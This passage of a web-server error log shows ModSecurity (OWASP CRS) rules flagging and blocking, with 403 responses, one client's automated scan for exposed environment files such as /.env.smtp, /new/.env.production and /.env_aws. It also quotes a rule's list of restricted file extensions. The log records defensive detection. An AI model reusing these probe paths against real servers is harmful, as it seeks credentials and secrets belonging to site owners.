&quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaSgAAAAA&quot;]
[Wed Feb 25 06:04:39.079192 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaSgAAAAA&quot;]
[Wed Feb 25 06:04:39.079365 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaSgAAAAA&quot;]
[Wed Feb 25 06:04:39.115919 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.mail&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.mail&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXAgAAAAQ&quot;]
[Wed Feb 25 06:04:39.116200 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.mail&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXAgAAAAQ&quot;]
[Wed Feb 25 06:04:39.116374 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.mail&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXAgAAAAQ&quot;]
[Wed Feb 25 06:04:39.183681 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXAwAAAAQ&quot;]
[Wed Feb 25 06:04:39.183983 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXAwAAAAQ&quot;]
[Wed Feb 25 06:04:39.184163 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXAwAAAAQ&quot;]
[Wed Feb 25 06:04:39.199414 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaSwAAAAA&quot;]
[Wed Feb 25 06:04:39.199701 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaSwAAAAA&quot;]
[Wed Feb 25 06:04:39.199887 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaSwAAAAA&quot;]
[Wed Feb 25 06:04:39.223562 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaTAAAAAA&quot;]
[Wed Feb 25 06:04:39.223890 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaTAAAAAA&quot;]
[Wed Feb 25 06:04:39.224062 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaTAAAAAA&quot;]
[Wed Feb 25 06:04:39.225182 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXBAAAAAQ&quot;]
[Wed Feb 25 06:04:39.225463 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXBAAAAAQ&quot;]
[Wed Feb 25 06:04:39.225683 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXBAAAAAQ&quot;]
[Wed Feb 25 06:04:39.225835 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXBAAAAAQ&quot;]
[Wed Feb 25 06:04:39.280055 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.testing&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXBQAAAAQ&quot;]
[Wed Feb 25 06:04:39.280339 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXBQAAAAQ&quot;]
[Wed Feb 25 06:04:39.280549 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXBQAAAAQ&quot;]
[Wed Feb 25 06:04:39.306671 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaTQAAAAA&quot;]
[Wed Feb 25 06:04:39.306949 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaTQAAAAA&quot;]
[Wed Feb 25 06:04:39.307132 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaTQAAAAA&quot;]
[Wed Feb 25 06:04:39.383390 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.uat&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.uat&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXBgAAAAQ&quot;]
[Wed Feb 25 06:04:39.383671 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.uat&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXBgAAAAQ&quot;]
[Wed Feb 25 06:04:39.383870 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.uat&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXBgAAAAQ&quot;]
[Wed Feb 25 06:04:39.431654 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaTgAAAAA&quot;]
[Wed Feb 25 06:04:39.431940 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaTgAAAAA&quot;]
[Wed Feb 25 06:04:39.432140 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aZ6C52Xxsr5IXP-ltRiaTgAAAAA&quot;]
[Wed Feb 25 06:04:39.506024 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_aws&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_aws&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXBwAAAAQ&quot;]
[Wed Feb 25 06:04:39.506313 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_aws&quot;] [unique_id &quot;aZ6C556MLyC5r86Hx-ZXBwAAAAQ&quot;]
